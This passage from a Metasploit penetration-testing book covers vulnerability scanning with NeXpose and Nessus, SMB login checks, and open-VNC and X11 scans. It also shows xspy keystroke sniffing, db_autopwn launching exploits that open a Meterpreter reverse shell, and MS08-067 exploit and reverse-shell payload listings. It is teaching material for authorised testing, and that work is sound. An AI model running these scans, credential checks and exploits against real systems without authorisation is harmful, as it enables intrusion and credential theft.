The information returned at tells us that the system running on port 80 is a Microsoft IIS 5.1–based web server. Armed with this information, we could use a vulnerability scanner, as shown in Figure 4-1, to determine whether this version of IIS has any vulnerabilities associated with it and whether this particular server has been patched.

Of course, in practice, it’s not that simple. Vulnerability scans often contain many false positives (reported vulnerability where none exists) and false negatives (failure to log a vulnerability where one exists) due to subtle differences in system and application configurations. In addition, the creators of vulnerability scanners have an incentive to report positives: The more “hits” a vulnerability scanner finds, the better it looks to a potential buyer. Vulnerability scanners are only as good as their vulnerabilities database, and they can easily be fooled by misleading banners or inconsistent configurations.

Let’s take a look at some of the more useful vulnerability scanners, including NeXpose, Nessus, and some specialized scanners.

Figure 4-1. Vulnerability scan results against the target web server

Scanning with NeXpose

NeXpose is Rapid7’s vulnerability scanner that scans networks to identify the devices running on them and performs checks to identify security weaknesses in operating systems and applications. It then analyzes the scan data and processes it for inclusion in various reports.

Rapid7 offers multiple versions of NeXpose, but we’ll use the Community edition because it’s free. If you plan to use NeXpose commercially, see the Rapid7 site (http://www.rapid7.com/vulnerability-scanner.jsp) for information on the various versions and their capabilities and pricing.

Our target for scanning will be a default installation of Windows XP SP2 as configured in Appendix A. We will first perform a basic overt scan of our target and import the vulnerability scan results into Metasploit. We will close out this section by showing you how to run a NeXpose vulnerability scan directly from msfconsole rather than using the web-based GUI, eliminating the need to import a scan report.

Configuration

After installing NeXpose Community, open a web browser and navigate to https://<youripaddress>:3780. Accept the NeXpose self-signed certificate, and log in using the credentials you created during setup. You should next be presented with an interface similar to the one shown in Figure 4-2. (You’ll find complete installation instructions for NeXpose at the Rapid7 website.)

On the NeXpose main page, you will notice a number of tabs at the top of the interface:

- The Assets tab displays details of computers and other devices on your network after they have been scanned.

- The Reports tab lists vulnerability scan reports after they have been generated.

- The Vulnerabilities tab gives you details on any vulnerabilities discovered during your scans.

- The Administration tab allows you to configure various options.

Figure 4-2. The NeXpose’s initial home screen

Buttons in the main body of the page let you perform common tasks such as creating a new site or setting up a new vulnerability scan.

The New Site Wizard

Prior to running a vulnerability scan with NeXpose, you need to configure a site — a logical collection of devices such as a specific subnet, a collection of servers, or even a single workstation. These sites will then be scanned by NeXpose, and different scan types can be defined for a particular site.

1. To create a site, click the New Site button on the NeXpose home page, enter a name for your site and a brief description, and then click Next.

2. In the devices step, shown in Figure 4-3, you have quite a bit of granularity in defining your targets. You can add a single IP address, address ranges, hostnames, and more. You can also declare devices, such as printers, to exclude from scans. (Printers frequently don’t take kindly to being scanned. We have seen instances in which a simple vulnerability scan caused more than one million pages of pure black to be placed in the queue to print!) Click Next when you have finished adding and excluding devices.

3. At the scan setup step, you can choose from several different scan templates, such as Discovery Scan and Penetration test; select the scanning engine you want to use; or set up an automated scanning schedule. For purposes of this initial walk-through, keep the default selections and click Next to continue.

4. Add credentials for the site you want to scan, if you have them. Credentials can help create more accurate and complete results by performing in-depth enumeration of installed software and system policies on the target.

5. On the Credentials tab, click the New Login button, type a username and password for the IP address you want to scan, and then click Test Login to verify your credentials then save them.

Figure 4-3. Adding a device to the new NeXpose site

6. Last, click Save to complete the New Site wizard and return to the Home tab, which should list your newly added site, as shown in Figure 4-4.

Figure 4-4. The Home tab shows the newly configured site.

The New Manual Scan Wizard

With your new site configured, you are now set to configure your first scan:

1. Click the New Manual Scan button shown in Figure 4-4. You should see the Start New Scan dialog shown in Figure 4-5, which prompts you for the assets you want to scan or exclude. In this example, we are scanning our default Windows XP system.

2. Double-check your target IP address to be sure that you’re not about to scan the wrong device or network inadvertently, and click the Start Now button to begin.

Figure 4-5. The NeXpose scan configuration dialog

3. NeXpose should dynamically refresh the page as the scan progresses. Wait until the status for both Scan Progress and Discovered Assets shows Completed, as shown in Figure 4-6. Under the Scan Progress section, you can see that our single scanned device has 268 vulnerabilities detected, and under Discovered Assets, you are provided with more information about the target such as the device name and its operating system. Now click the Reports tab.

Figure 4-6. The completed NeXpose scan and report

The New Report Wizard

If this is your first time running NeXpose and you have completed only one scan, the Reports tab should show that you have generated no reports.

1. Click New Report, as shown in Figure 4-7, to start the New Report wizard.

Figure 4-7. The NeXpose Reports tab

2. Enter a friendly name, and then in the Report format field, select NeXpose Simple XML Export, as shown in Figure 4-8, so that you will be able to import the scan results into Metasploit. You can select from different report templates and configure the time zone if you happen to be conducting your pen test on the road. Click Next when you are ready to proceed.

Figure 4-8. Selecting a name and format for the report

3. In the subsequent window, add the devices you want to be included in the report by clicking Select Sites to add your scanned target range, as shown in Figure 4-9. Then click Save.

Figure 4-9. Selecting the site for inclusion in the report

4. In the Select Devices dialog, select the targets to include in your report and then click Save.

5. Back in the Report Configuration wizard, click Save to accept the remaining defaults for the report. The Reports tab should now list the newly created report, as shown in Figure 4-10. (Be sure to save the report file so that you can use it with the Framework.)

Figure 4-10. The Reports tab lists your reports.

Importing Your Report into the Metasploit Framework

Having completed a full vulnerability scan with NeXpose, you need to import the results into Metasploit. But before you do, you must create a new database from msfconsole by issuing db_connect. After creating that database you’ll import the NeXpose XML using the db_import command. Metasploit will automatically detect that the file is from NeXpose and import the scanned host. You can then verify that the import was successful by running the db_hosts command. (These steps are shown in the following listing.) As you can see at , Metasploit knows about the 268 vulnerabilities that your scan picked up.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import tmphost_195.xml
[*] Importing 'NeXpose Simple XML' data
[*] Importing host 192.168.1.195
[*] Successfully imported tmphost_195.xml

msf > db_hosts -c address,svcs,vulns

Hosts
=====

address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 268 default

To display the full details of the vulnerabilities imported into Metasploit, including Common Vulnerabilities and Exposures (CVE) numbers and other references, run the following:

msf > db_vulns

As you can see, running an overt vulnerability scan with full credentials can provide an amazing amount of information — 268 vulnerabilities found in this case. But, of course, this has been a very noisy scan, likely to attract lots of attention. These types of vulnerability scans are best used in a pen test where being stealthy is not required.

Running NeXpose Within MSFconsole

Running NeXpose from the web GUI is great for fine-tuning vulnerability scans and generating reports, but if you prefer to remain in msfconsole, you can still run full vulnerability scans with the NeXpose plug-in included in Metasploit.

To demonstrate the difference in results between a credentialed and noncredentialed scan, we will run a scan from with Metasploit without specifying a username and password for the target system. Before you begin, delete any existing database with db_destroy, create a new database in Metasploit with db_connect, and then load the NeXpose plug-in with load nexpose as shown next:

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

With the NeXpose plug-in loaded, have a look at the commands loaded specifically for the vulnerability scanner by entering the help command. You should see a series of new commands at the top of the listing specific to running NeXpose.

msf > help

Before running your first scan from msfconsole, you will need to connect to your NeXpose installation. Enter nexpose_connect -h to display the usage required to connect; add your username, password, and host address; and accept the SSL certificate warning by adding ok to the end of the connect string:

msf > nexpose_connect -h
[*] Usage:
[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -OR-
[*] nexpose_connect username password host port <ssl-confirm>
msf > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username dookie...

Now enter nexpose_scan followed by the target IP address to initiate a scan, as shown next. In this example, we are scanning a single IP address, but you could also pass a range of hosts to the scanner (192.168.1.1-254) or a subnet in Classless Inter-Domain Routing (CIDR) notation (192.168.1.0/24).

msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
msf >

After the NeXpose scan completes, the database you created earlier should contain the results of the vulnerability scan. To view the results, enter db_hosts, as shown next. (In this example, the output has been trimmed by filtering on the address column.)

msf > db_hosts -c address

Hosts
=====

address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 7 default

msf >

As you can see, NeXpose has discovered seven vulnerabilities. Run db_vulns to display the vulnerabilities found:

msf > db_vulns

Although this scan has found significantly fewer than the 268 vulnerabilities discovered with our prior use of NeXpose through the GUI with credentials, you should have enough vulnerabilities here to get a great head start on exploiting the system.

Scanning with Nessus

The Nessus vulnerability scanner from Tenable Security (http://www.tenable.com/) is one of the most widely used vulnerability scanners. Metasploit’s Nessus plug-in lets you launch scans and pull information from Nessus scans via the console, but in the example that follows, we’ll import Nessus scan results independently. Using Nessus 4.4.1 with a free Home Feed, we’ll run this scan against the same target we’ll use throughout this chapter, with known credentials. In these early stages of a penetration test, the more tools you can use to fine-tune your future attacks, the better.

Nessus Configuration

After you have downloaded and installed Nessus, open your web browser and navigate to https://<youripaddress>:8834, accept the certificate warning, and log into Nessus using the credentials you created during installation. You should see the main Nessus window, as shown in Figure 4-11.

Figure 4-11. The main Nessus window

On login, you will see the Reports section, where any prior vulnerability scans should be listed. Along the top of the interface, you should see the Scans tab, where you can create and view scanning tasks; the Policies tab, where you configure Nessus to include various plugins you want to use in your scans; and the Users tab, where you can add user accounts to the Nessus server.

Creating a Nessus Scan Policy

Before beginning a scan, you first need to create a Nessus scan policy. On the Policies tab, click the green Add button to open the policy configuration window shown in Figure 4-12.

Figure 4-12. The Nessus Policies configuration window

You’ll see many available options, all of which can be found in Nessus’s documentation.

1. Enter a name for the scan, as shown in Figure 4-13. We will use the name The_Works in our example to have Nessus run all of its checks. Then click Next.

2. As with the NeXpose scan conducted earlier, we will configure this scan to use Windows login credentials to get a more complete picture of the vulnerabilities present on the target system. Enter the login credentials for your target system and click Next.

Figure 4-13. The Nessus General settings

3. On the Plugins page, you can choose from a large variety of Nessus plugins for Windows, Linux, BSD, and more. If, during a scan, you know you are going to scan only Windows-based systems, for example, you could deselect many of these plugins for your first run-through; for now, click Enable All (shown in the lower-right corner of Figure 4-14) and then click Next.

Figure 4-14. Selecting Nessus scan plugins

4. The final step in setting up the new policy is the Preferences page. Here, you can direct Nessus not to scan fragile devices such as network printers, configure it to store results in an external database, provide login credentials, and more. When you are done with your selections, click Submit to save the new policy. Your newly added policy should be displayed under Policies, as shown in Figure 4-15.

Figure 4-15. The newly added policy in Nessus

Running a Nessus Scan

After you have created a scan policy, you are ready to configure a scan. Begin by selecting the Scans tab, and then click the Add button to open the scan configuration window. Most Nessus configuration is set in its scan policies, so when you’re setting up a scan, enter a name for the scan, choose a policy, and enter the scan targets, as shown in Figure 4-16.

Figure 4-16. Configuring a Nessus scan

In our example, we are scanning only one host, but you can also enter IP address ranges in CIDR notation or even upload a file containing the addresses of the targets you want to scan. When you are satisfied with the scan configuration, click Launch Scan.

Nessus Reports

After the scan is complete, it will no longer appear under Scans, and you should find a new entry under the Reports tab listing the name of the scan, its status, and when it was last updated. Select the report and click Browse to open a summary page of the scan that shows the severity levels of the vulnerabilities found, as shown in Figure 4-17.

Figure 4-17. Our Nessus scan report summary

Note

Bear in mind that because this scan was run with Windows credentials, Nessus will find many more vulnerabilities than it would with an anonymous scan.

Importing Results into the Metasploit Framework

Now let’s import our results into the Framework.

1. Click the Download Report button on the Reports tab to save the results to your hard drive. The default file format for Nessus reports, .nessus, can be parsed by Metasploit, so click Submit when prompted to select the default format.

2. Load msfconsole, create a new database with db_connect, and import the Nessus results file by entering db_import followed by the report filename.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import tmpnessus_report_Host_195.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.1.195

3. To verify that the scanned host and vulnerability data was imported properly, enter db_hosts as shown next. This should output a brief listing with the target IP address, the number of services detected, and the number of vulnerabilities found by Nessus.

msf > db_hosts -c address,svcs,vulns

Hosts
=====
address svcs vulns
------- ---- -----
192.168.1.195 18 345

4. For a complete listing of the vulnerability data that was imported into Metasploit, enter db_vulns without any switches, as shown here:

msf > db_vulns
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10916 refs=OSVDB-755
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10915 refs=OSVDB-754
[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10913 refs=OSVDB-752
[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10114 refs=CVE-1999-0524,OSVDB-94,CWE-200
[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=NSS-11197 refs=CVE-2003-0001,BID-6535

At the end of your pen test, having these references available can be of great assistance when you’re writing the report for your client.

Scanning with Nessus from Within Metasploit

During those times when you don’t feel like leaving the comfort of the command line, you can use the Nessus Bridge plug-in (http://blog.zate.org/nessus-plugin-dev/) by Zate within Metasploit. The Nessus Bridge allows you to control Nessus completely through the Metasploit Framework, run scans, interpret results, and launch attacks based on the vulnerabilities identified through Nessus.

1. As in the preceding examples, first destroy the existing database with the db_destroy command and create a new one using db_connect.

2. Load the Nessus plug-in by running load nessus, as shown here:

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (root.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus

3. Running the command nessus_help will display all of the commands that the plug-in supports. The Bridge undergoes regular development and updates, so it is a good idea to check the help output periodically to see what new features, if any, have been added.

4. Before starting a scan with the Bridge, you first need to authenticate to your Nessus server using nessus_connect, as shown here:

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated

5. As with the GUI version of Nessus, you need to initiate a scan using a defined policy by its policy ID number. To list the available scan policies on the server, use nessus_policy_list:

msf > nessus_policy_list
[+] Nessus Policy List

ID Name Comments
-- ---- --------
-4 Internal Network Scan
-3 Web App Tests
-2 Prepare for PCI DSS audits
-1 External Network Scan
2 The_Works

6. Take note of the policy ID you want to use for your scan, and then launch a new scan with nessus_scan_new followed by the policy number, a name for your scan, and your target IP address as shown next:

msf > nessus_scan_new
[*] Usage:

[*] nessus_scan_new <policy id> <scan name> <targets>
[*] use nessus_policy_list to list all available policies
msf > nessus_scan_new 2 bridge_scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge_scan"
and scanning 192.168.1.195
[*] Scan started. uid is d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e

7. While your scan is in progress, you can see its status by running the nessus_scan_status command. When this command’s output responds with “No Scans Running,” as shown next, you will know that your scan has completed.

msf > nessus_scan_status
[*] No Scans Running.

8. After the scan has completed, you can list the available scan reports with the nessus_report_list command. Identify the ID of the report you want to import and enter nessus_report_get to download the report and import it into the Metasploit database automatically.

msf > nessus_report_list
[+] Nessus Report List

ID Name Status Date
-- ---- ------ ----
074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631c1d
Host_195 completed 19:43 Mar 08 2011
d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
bridge_scan completed 09:37 Mar 09 2011

[*] You can:
[*] Get a list of hosts from the report: nessus_report_hosts <report id>
msf > nessus_report_get d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] importing d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] 192.168.1.195 Microsoft Windows XP Professional (English) Done!
[+] Done

9. Finally, as with the other import functions demonstrated in this chapter, you can use db_hosts to verify that the scan data was imported successfully:

msf > db_hosts -c address,svcs,vulns

Hosts
=====

address svcs vulns
------- ---- -----
192.168.1.195 18 345

Now that you’ve seen the variation in scan results from two different products, you should have a better sense of the merit in using more than one tool for your scanning needs. It is still up to the penetration tester to interpret the results from these automated tools and turn them into actionable data.

Specialty Vulnerability Scanners

Although many commercial vulnerability scanners are available on the market, you are not limited to them. When you want to run a scan for a specific vulnerability across a network, Metasploit’s many auxiliary modules can help you accomplish such tasks.

The following Metasploit modules are just a few examples of the many useful auxiliary scanning modules included in the Framework. Take advantage of your lab to probe and explore as many of them as you can.

Validating SMB Logins

To check the validity of a username and password combination, use the SMB Login Check Scanner to connect to a range of hosts. As you might expect, this scan is loud and noticeable, and each login attempt will show up in the event logs of every Windows box it encounters.

After selecting the smb_login module with use, you can run show_options to see the settings listed under the Required column. Metasploit allows you to specify a username and password combination, a username and password list, or a combination of either. In the next example, RHOSTS is set to a small range of IP addresses and a username and password are configured for Metasploit to try against all addresses.

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target
address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass password no SMB Password
SMBUser Administrator no SMB Username
THREADS 50 yes The number of concurrent threads
USERPASS_FILE no File containing
users and passwords separated
by space, one pair per line
USER_FILE no File containing usernames, one per line

msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155
[+] 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'
[*] Scanned 4 of 6 hosts (066% complete)
[*] Scanned 5 of 6 hosts (083% complete)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >

You can see a successful login with user Administrator and a password of s3cr3t at . Because workstations are all cloned from one image and deployed through the enterprise in many corporate environments, the administrator password may well be the same on all of them, granting you access to every workstation on the network.

Scanning for Open VNC Authentication

Virtual network computing (VNC) provides graphical access to remote systems in a way that’s similar to Microsoft’s Remote Desktop. VNC installations are common throughout corporations, because they provide a GUI-based view of server and workstation desktops. VNC is frequently installed to meet a temporary need and then completely forgotten and left unpatched, creating a major potential vulnerability. Metasploit’s built-in VNC Authentication None scanner searches a range of IP addresses for VNC servers that do not have a password configured (that support “None” authentication, meaning a blank password). Usually, this scan will turn up nothing of value, but a good penetration tester leaves no stone unturned when looking for ways access a target system.

Note

Recent VNC servers do not allow blank passwords. To set one up in your lab for testing, use older VNC servers such as RealVNC 4.1.1.

The VNC scanner, like most Metasploit auxiliary modules, is easy to configure and run. The only required configuration for vnc_none_auth is to supply it with an IP or a range of IPs to scan. Simply select the module, define your RHOSTS and THREADS, if desired, and run it, as shown next:

msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none_auth) > run

[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.155:5900, VNC server security types supported : None
[*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_none_auth) >

If you get lucky and Metasploit finds a VNC server with no authentication , you can use Back|Track’s vncviewer to connect to the target machine without a password, as shown in Figure 4-18.

Figure 4-18. Connecting to VNC with no authentication using vncviewer

If you think a VNC scan is likely to be a waste of time and that you’ll never find systems with open VNC servers enabled, think again. During a large penetration test, which included thousands of systems, one of the authors noticed that one of those systems had an open VNC server.

While the author was in the system documenting his finding, he noticed activity on the system. This was overnight on a system that was unlikely to have an authorized user on it. While not always considered a best practice, the author pretended to be another unauthorized intruder and engaged the intruder in conversation via Notepad. The intruder was not very bright and told the author that he was scanning large blocks of systems for open VNC servers. Here is a segment of the conversation:

Author: You in the us? or out of country? I know some people in denmark.

Attacker: I’m from Norway actually, hehe, I have relatives in Denmark.

Author: You hang in any boards? like I used to like some but they have been going away

Attacker: I mostly hang in some programming boards, but not much else. Have you been into hacking for a long time or what? What’s your age btw? I’m 22.

Author: I have been on this for like fun for around a year or so. Still in school. 16. Just something to do.

Attacker: Haven’t been there. I too mostly do this for fun, just trying to see what I can do, test my skills. I wrote the “VNC finder” myself btw, I have found a lot of servers, but this is the only one where I could actually have some fun

Author: Wow. What did you write it in? Can I dl it? Do you have a handle?

Attacker: It’s written in a language called PureBasic, but it’s kinda not ready for release yet, it’s only for my own use. But maybe I can share it anyway, I could upload the code somewhere and let you compile it. That is if you can find some PureBasic compiler on some warez site :P

Author: Thats cool. you can put it in that pastebin site from irc. That lets you anon post I have not done purebasic before. just python and perl

Attacker: Let me see, I’ll look for that pastebin site and upload it, just give me some minutes, I’ll be around.

The attacker then gave the author a link to a pastebin page with the full source for the custom VNC scanner he was using.

Scanning for Open X11 Servers

Metasploit’s built-in open_x11 scanner is similar to the vnc_auth scanner, in that it scours a range of hosts for X11 servers that allow users to connect without authentication. Although X11 servers aren’t widely used today, lots of archaic boxes out there are still running old, unpatched, and forgotten operating systems. As you’ve seen in the preceding two examples, legacy systems are often the most vulnerable systems on a network.

To run the open_x11 scanner, simply configure as you would most other auxiliary modules by setting the RHOSTS and, optionally, the THREADS values. A session is shown next. Notice at IP address 192.168.1.23 that the scanner has found an open X server. This is a serious vulnerability because it allows an attacker to gain unauthenticated access to the system: The X system handles the GUI including the mouse and keyboard.

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(open_x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > run
[*] Trying 192.168.1.1
[*] Trying 192.168.1.0
[*] Trying 192.168.1.2...
[*] Trying 192.168.1.29
[*] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32

. . . SNIP . . .

[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed

To see what an attacker could do with a vulnerability like this, start keystroke logging using Back|Track’s xspy tool, like so:

root@bt:/# cd pentestsniffers/xspy/
root@bt:pentestsniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100

ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit

The xspy tool remotely sniffs the X server’s keyboard session and has captured a user running SSH to log in as root on a remote system. Vulnerabilities such as this can be rare, but when you find them they are extremely valuable.

Using Scan Results for Autopwning

Let’s take a quick diversion into exploitation. Metasploit’s Autopwn tool automatically targets and exploits a system using an open port or using the results of a vulnerability scan export. You can use Autopwn to harness the results of most vulnerability scanners, including NeXpose, Nessus, and OpenVAS.

For example, here’s how we could use a Nessus results import to target a system and autopwn it. Create a new database with db_connect and use db_import to import the scan report. In the next example, we run db_autopwn with a series of switches to launch attacks against all targets (e), show all matching modules (t), use a reverse shell payload (r), select exploit modules based on vulnerability (x), and also select based on open ports (p). Once db_autopwn launches, Metasploit begins launching exploits at the targets. Successful exploits return a shell to the attacking machine.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import rootnessus.nbe
msf > db_autopwn -e -t -r -x -p

[*] (1/72
[0 sessions]): Launching exploit/windows/mssql/ms09_004_sp_replwritetovarbin
against 192.168.33.130:1433...
[*] (2/72 [0 sessions]): Launching exploit/windows/smb/
psexec against 192.168.33.130:445...
[*] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against
192.168.33.130:445...

. . . SNIP . . .

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened
(192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on 0 launched modules to finish execution...

Based on these scans, Autopwn launched 72 exploits and one was successful, as shown at . This exploit allows us full access to the machine with a Meterpreter console that will be discussed in far more depth in Chapter 6.

Note

One big caveat to remember when using Autopwn: If you’re going in with your Autopwn guns blazing, the target system can crash or lose stability. Autopwn has useful features not covered here, such as the ability to select only exploits that have an “Excellent” ranking, meaning it is very unlikely they will crash the remote system or service. For more information on its usage, enter db_autopwn -h.

Chapter 5. The Joy of Exploitation

Exploitation is the pinnacle of many security professionals’ careers. The ability to gain full control over a targeted machine is a great feeling, if perhaps a little scary. But even though exploitation techniques have advanced quite a bit over the years, the adoption of various system and network protections has made it increasingly more difficult to succeed with basic exploits. In this chapter, we move into more difficult attack methods, beginning with command-line interfaces to the Metasploit Framework. Most of the attacks and customizations discussed in this chapter will occur in msfconsole, msfencode, and msfpayload.

Before you begin to exploit systems, you need to understand a few things about penetration testing and exploitation. In Chapter 1 you were introduced to basic penetration testing methods. In Chapter 2 you learned the basics of the Framework and what to expect from each tool. In Chapter 3 we explored the intelligence gathering phase, and in Chapter 4 you learned about vulnerability scanning.

In this chapter, we focus on the basics of exploitation. Our goal is to familiarize you with the different commands available through the Framework, which we’ll build upon in later chapters. Most of the attacks from this point forward will occur through msfconsole, and you will need a solid understanding of msfconsole, msfpayload, and msfencode to get the most out of the balance of this book.

Basic Exploitation

The Metasploit Framework contains hundreds of modules, and it’s nearly impossible to remember them all. Running show from msfconsole will display every module available in the Framework, but you can also narrow your search by displaying only specific types of modules as discussed in the following sections.

msf> show exploits

Within msfconsole, exploits operate against the vulnerabilities that you discover during a penetration test. New exploits are always being developed, and the list will continue to grow. This command will display every currently available exploit within the Framework.

msf> show auxiliary

Auxiliary modules in Metasploit can be used for a wide range of purposes. They can operate as scanners, denial-of-service modules, fuzzers, and much more. This command will display them and list their features.

msf> show options

Options control various settings needed for proper functionality of the Framework modules. When you run show options while a module is selected, Metasploit will display only the options that apply to that particular module. Entering msf> show options when not in a module will display the available global options — for example, you can set LogLevel to be more verbose as you perform an attack. You can also issue the back command to go back once inside a module.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > back
msf >

The search command is useful for finding a specific attack, auxiliary module, or payload. For example, if you want to launch an attack against SQL, you could search for SQL like this:

msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...

Auxiliary
=========

Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/mssql/mssql_enum normal
Microsoft SQL Server Configuration
Enumerator
admin/mssql/mssql_exec normal
Microsoft SQL Server xp_cmdshell
Command Execution
admin/mssql/mssql_idf normal
Microsoft SQL Server - Interesting
Data Finder
admin/mssql/mssql_sql normal
Microsoft SQL Server Generic Query
scanner/mssql/mssql_login normal MSSQL Login Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits

. . . SNIP . . .

msf >

Or, to find the MS08-067 exploit specifically (an exploit related to the notorious Conficker worm that exploited a weakness within the Remote Procedure Call [RPC] service), you would enter this command:

msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi
great Microsoft Server Service Relative Path Stack Corruption

Then, having found an exploit (windows/smb/ms08_067_netapi), you could load the found module with the use command, like so:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Notice that when we issue the use windows/smb/ms08_067_netapi command, the msf prompt changes as follows:

msf exploit(ms08_067_netapi) >

This indicates that we have selected the ms08_067_netapi module and that commands issued at this prompt will be performed under that exploit.

Note

You can perform a search or use at any time within an exploit to switch to a different exploit or module.

Now, with the prompt reflecting our chosen module, we can enter show options to display the options specific to the MS08-067 exploit:

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name
-- ----
0 Automatic Targeting

msf exploit(ms08_067_netapi) >

This contextual approach to accessing options keeps the interface simpler and allows you to focus only on the options that matter at the moment.

msf> show payloads

Recall from Chapter 2 that payloads are platform-specific portions of code delivered to a target. As with show options, when you run show payloads from a module-specific prompt, Metasploit displays only the payloads that are compatible with that module. In the case of Microsoft Windows–based exploits, these payloads may be as simple as a command prompt on the target or as complex as a full graphical interface on the target machine. To see an active list of payloads, run the following command:

msf> show payloads

This would show you all payloads available in Metasploit; however, if you are in an actual exploit, you will see only payloads applicable to the attack. For example, running show payloads from the msf exploit(ms08_067_netapi) prompt would result in the output shown next.

In the previous example we searched for the MS08-067 module. Now let’s find out the payloads for that module by entering show payloads. Notice in the example that only Windows-based payloads are shown. Metasploit will generally identify the type of payloads that can be used with a particular attack.

msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

Name Rank Description
---- ---- -----------

. . . SNIP . . .

windows/shell/reverse_ipv6_tcp normal
Windows Command Shell, Reverse TCP
Stager (IPv6)
windows/shell/reverse_nonx_tcp normal
Windows Command Shell, Reverse TCP
Stager (No NX or Win7)
windows/shell/reverse_ord_tcp normal
Windows Command Shell, Reverse

Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_tcp normal
Windows Command Shell, Reverse TCP
Stager
windows/shell/reverse_tcp_allports normal
Windows Command Shell, Reverse
AllPort TCP Stager
windows/shell_bind_tcp normal
Windows Command Shell, Bind TCP
Inline
windows/shell_reverse_tcp normal
Windows Command Shell, Reverse TCP
Inline

